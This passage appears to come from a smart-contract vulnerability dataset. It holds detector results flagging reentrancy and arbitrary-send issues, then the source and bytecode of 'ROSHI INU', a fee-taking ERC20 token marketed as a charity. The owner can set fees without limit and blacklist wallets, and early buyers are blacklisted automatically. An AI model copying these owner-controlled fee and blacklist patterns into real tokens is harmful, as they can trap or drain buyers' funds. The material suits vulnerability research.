fffffffffffffffffffffffffffffffffffffff168461148a565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127479594939291906132c8565b600060405180830381600087803b15801561276157600080fd5b505af1158015612775573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516127aa929190613298565b60405180910390a15060006016806101000a81548160ff02191690831515021790555050565b806127de576127dd61286b565b5b6127e9848484612886565b806127f7576127f66127fd565b5b50505050565b600654600581905550565b6000808311829061284f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612846919061313b565b60405180910390fd5b506000838561285e91906133e8565b9050809150509392505050565b6000600554141561287b57612884565b60006005819055505b565b60008061289283612a35565b915091506128e883600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a5890919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061297d82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aa290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129c981612b00565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612a26919061327d565b60405180910390a35050505050565b600080600080612a4785600554612b98565b915091508181935093505050915091565b6000612a9a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061211f565b905092915050565b6000808284612ab19190613392565b905083811015612af6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aed9061319d565b60405180910390fd5b8091505092915050565b612b5281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aa290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000806000612bc36064612bb586886123da90919063ffffffff16565b61245590919063ffffffff16565b90506000612bda8287612a5890919063ffffffff16565b905080829350935050509250929050565b600081359050612bfa8161384e565b92915050565b600081519050612c0f8161384e565b92915050565b600081519050612c2481613865565b92915050565b600081359050612c398161387c565b92915050565b600081519050612c4e8161387c565b92915050565b600060208284031215612c6657600080fd5b6000612c7484828501612beb565b91505092915050565b600060208284031215612c8f57600080fd5b6000612c9d84828501612c00565b91505092915050565b60008060408385031215612cb957600080fd5b6000612cc785828601612beb565b9250506020612cd885828601612beb565b9150509250929050565b600080600060608486031215612cf757600080fd5b6000612d0586828701612beb565b9350506020612d1686828701612beb565b9250506040612d2786828701612c2a565b9150509250925092565b60008060408385031215612d4457600080fd5b6000612d5285828601612beb565b9250506020612d6385828601612c2a565b9150509250929050565b600060208284031215612d7f57600080fd5b6000612d8d84828501612c15565b91505092915050565b600060208284031215612da857600080fd5b6000612db684828501612c2a565b91505092915050565b600080600060608486031215612dd457600080fd5b6000612de286828701612c3f565b9350506020612df386828701612c3f565b9250506040612e0486828701612c3f565b9150509250925092565b6000612e1a8383612e26565b60208301905092915050565b612e2f816134a7565b82525050565b612e3e816134a7565b82525050565b6000612e4f8261334d565b612e598185613370565b9350612e648361333d565b8060005b83811015612e95578151612e7c8882612e0e565b9750612e8783613363565b925050600181019050612e68565b5085935050505092915050565b612eab816134b9565b82525050565b612eba816134fc565b82525050565b6000612ecb82613358565b612ed58185613381565b9350612ee581856020860161350e565b612eee816135e8565b840191505092915050565b6000612f06602383613381565b9150612f11826135f9565b604082019050919050565b6000612f29602283613381565b9150612f3482613648565b604082019050919050565b6000612f4c601b83613381565b9150612f5782613697565b602082019050919050565b6000612f6f601d83613381565b9150612f7a826136c0565b602082019050919050565b6000612f92602183613381565b9150612f9d826136e9565b604082019050919050565b6000612fb5602083613381565b9150612fc082613738565b602082019050919050565b6000612fd8602983613381565b9150612fe382613761565b604082019050919050565b6000612ffb602583613381565b9150613006826137b0565b604082019050919050565b600061301e602483613381565b9150613029826137ff565b604082019050919050565b61303d816134e5565b82525050565b61304c816134ef565b82525050565b60006020820190506130676000830184612e35565b92915050565b60006040820190506130826000830185612e35565b61308f6020830184612e35565b9392505050565b60006040820190506130ab6000830185612e35565b6130b86020830184613034565b9392505050565b600060c0820190506130d46000830189612e35565b6130e16020830188613034565b6130ee6040830187612eb1565b6130fb6060830186612eb1565b6131086080830185612e35565b61311560a0830184613034565b979650505050505050565b60006020820190506131356000830184612ea2565b92915050565b600060208201905081810360008301526131558184612ec0565b905092915050565b6000602082019050818103600083015261317681612ef9565b9050919050565b6000602082019050818103600083015261319681612f1c565b9050919050565b600060208201905081810360008301526131b681612f3f565b9050919050565b600060208201905081810360008301526131d681612f62565b9050919050565b600060208201905081810360008301526131f681612f85565b9050919050565b6000602082019050818103600083015261321681612fa8565b9050919050565b6000602082019050818103600083015261323681612fcb565b9050919050565b6000602082019050818103600083015261325681612fee565b9050919050565b6000602082019050818103600083015261327681613011565b9050919050565b60006020820190506132926000830184613034565b92915050565b60006040820190506132ad6000830185613034565b81810360208301526132bf8184612e44565b90509392505050565b600060a0820190506132dd6000830188613034565b6132ea6020830187612eb1565b81810360408301526132fc8186612e44565b905061330b6060830185612e35565b6133186080830184613034565b9695505050505050565b60006020820190506133376000830184613043565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061339d826134e5565b91506133a8836134e5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133dd576133dc61358a565b5b828201905092915050565b60006133f3826134e5565b91506133fe836134e5565b92508261340e5761340d6135b9565b5b828204905092915050565b6000613424826134e5565b915061342f836134e5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134685761346761358a565b5b828202905092915050565b600061347e826134e5565b9150613489836134e5565b92508282101561349c5761349b61358a565b5b828203905092915050565b60006134b2826134c5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613507826134e5565b9050919050565b60005b8381101561352c578082015181840152602081019050613511565b8381111561353b576000848401525b50505050565b600061354c826134e5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561357f5761357e61358a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613857816134a7565b811461386257600080fd5b50565b61386e816134b9565b811461387957600080fd5b50565b613885816134e5565b811461389057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200562e747a3060c7eb79c81e9211e947017e2f5e206026ef452368257f220373064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,945 |
0x9a3dd35b38b77ab8a3ac416273b2b4df48829718
|
/**
ROSHI, charity token helping support teachers educating the next generation of students. https://t.me/roshiinu
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract RoshiToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ROSHI INU";//
string private constant _symbol = "ROSHI";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 11;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 11;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x4a554aAb4965CCD2b368C440402F943C0172DaB1);//
address payable private _marketingAddress = payable(0x539c233bE7c79487e3CEb368CdE7C424aE8ADb93);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 16000000000 * 10**9; //
uint256 public _maxWalletSize = 34000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600981526020017f524f53484920494e550000000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600581526020017f524f534849000000000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005